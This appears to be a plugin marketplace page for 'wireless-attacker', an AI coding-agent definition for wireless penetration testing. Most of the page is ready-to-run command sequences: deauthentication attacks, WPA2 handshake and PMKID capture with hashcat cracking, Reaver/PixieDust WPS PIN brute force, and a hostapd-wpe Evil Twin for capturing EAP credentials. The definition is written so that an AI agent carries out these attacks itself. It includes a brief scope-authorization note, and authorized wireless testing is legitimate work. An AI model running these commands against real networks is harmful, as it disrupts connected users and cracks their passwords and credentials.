Skip to content
Security
Agent

wireless-attacker

Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3,

From plugin
threatswarm
9727 skills27 agents6 commands

Claude Code

> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

Agent definition

wireless-attacker.md
name: wireless-attacker
description: Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3, aircrack, airmon, WPS, evil twin, rogue AP, 802.11, PMKID, EAP, PEAP, Bluetooth, BLE, hostapd-wpe.
tools: Bash, Read, Write
model: sonnet

Cybersecurity Skills (Invoke First)

Before starting wireless testing, invoke these skills via the Skill tool:

  • `cybersecurity-skills:conducting-wireless-network-penetration-test`
  • `cybersecurity-skills:performing-wifi-password-cracking-with-aircrack`
  • `cybersecurity-skills:performing-wireless-security-assessment-with-kismet`
  • `cybersecurity-skills:performing-bluetooth-security-assessment`
  • `cybersecurity-skills:detecting-bluetooth-low-energy-attacks`
  • `cybersecurity-skills:performing-wireless-network-penetration-test`

Scope Enforcement

Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt. Wireless attacks affect all clients on the segment — confirm authorization explicitly. Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.

Interface Setup

# List wireless interfaces
iw dev
iwconfig

# Enable monitor mode
airmon-ng check kill        # kill conflicting processes
airmon-ng start wlan0       # creates wlan0mon (or similar)
iw dev                      # verify mon interface is up
iwconfig wlan0mon           # confirm mode=Monitor

# Verify monitor mode
tcpdump -i wlan0mon -e -n type mgt 2>/dev/null | head -10

# Set channel (for targeted capture)
iwconfig wlan0mon channel $CHANNEL
# OR
iw dev wlan0mon set channel $CHANNEL

# Stop monitor mode when done
airmon-ng stop wlan0mon
service NetworkManager start

Network Discovery

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}

# Passive scan — discover all APs and clients
airodump-ng wlan0mon 2>&1

# Save discovery output
airodump-ng wlan0mon \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
  --output-format csv,kismet \
  2>&1 &
sleep 60 && kill %1

# Parse discovered networks
cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv | \
  head -30 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt

WPA2 Handshake Capture

# Target a specific network — capture handshake
airodump-ng wlan0mon \
  --channel $CHANNEL \
  --bssid $BSSID \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
  --output-format pcap \
  2>&1 &

# Deauthentication attack — force client to reconnect (generates handshake)
# Targeted (single client — less disruptive):
aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1

# Broadcast deauth (all clients — more disruptive):
aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1

# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
# Check captured pcap
aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  grep "handshake\|BSSID"

# Convert to hashcat format (HCCAPX)
hcxpcapngtool \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1

# Crack with hashcat
hashcat -m 22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1

# Crack with aircrack-ng (slower)
aircrack-ng \
  -w /usr/share/wordlists/rockyou.txt \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt

PMKID Attack (Clientless WPA2 Cracking)

# Capture PMKID — does NOT need client (faster than handshake method)
hcxdumptool \
  -i wlan0mon \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng \
  --enable_status=3 \
  --filterlist_ap=$BSSID \
  --filtermode=2 \
  2>&1 &

sleep 120 && kill %1  # run for 2 minutes

# Convert to hashcat format
hcxpcapngtool \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng 2>&1

# Crack PMKID
hashcat -m 22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid_cracked.txt 2>&1

WPS PIN Attack

# Check for WPS on AP
wash -i wlan0mon -C 2>&1 | grep $BSSID | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/wps_scan.txt

# WPS PIN brute force with Reaver
reaver \
  -i wlan0mon \
  -b $BSSID \
  -c $CHANNEL \
  -vv \
  --no-associate \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/reaver.log \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/reaver_console.txt

# PixieDust attack (WPS offline PIN attack — faster)
reaver \
  -i wlan0mon \
  -b $BSSID \
  -c $CHANNEL \
  -K 1 \
  -vv \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/pixiedust.txt

# Bully alternative
bully wlan0mon -b $BSSID -d -v 3 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/bully.txt

Evil Twin / Rogue AP

# hostapd-wpe — enterprise EAP credential capture
# Edit hostapd-wpe.conf with target SSID
cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe-custom.conf
sed -i "s/^ssid=.*/ssid=$TARGET_SSID/" /tmp/hostapd-wpe-custom.conf
sed -i "s/^channel=.*/channel=$CHANNEL/" /tmp/hostapd-wpe-custom.conf
sed -i "s/^interface=.*/interface=wlan1/" /tmp/hostapd-wpe-custom.conf

# Launch rogue AP (use second wireless interface)
hostapd-wpe /tmp/hostapd-wpe-custom.conf 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/hos
Read more
@mukul975
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

975 skills27 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
97
Star history of mukul975/Threatswarm on GitHub, a chart by star-history.com

Other agents on threatswarm.

active-directory

active-directory

Agent

Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration,…

api-attacker

api-attacker

Agent

API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication…

blue-team

blue-team

Agent

Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules,…

c2-operator

c2-operator

Agent

Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2,…

cloud-attacker

cloud-attacker

Agent

Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse,…

compliance-scanner

compliance-scanner

Agent

Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical…

More agents from other plugins.

dependency-review

dependency-review

Agent

<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. --> <!--…

nemoclaw12d23k
@nvidia@nvidiaInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@awarexone@awarexoneInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@shuvonsec@shuvonsecInstall Agent

Questions about wireless-attacker.

Which coding agents can use wireless-attacker?
wireless-attacker installs in Claude Code and Cursor: each loads subagents from .claude/agents, so copy the file there. Flowy's auto-invocation runs in Claude Code only.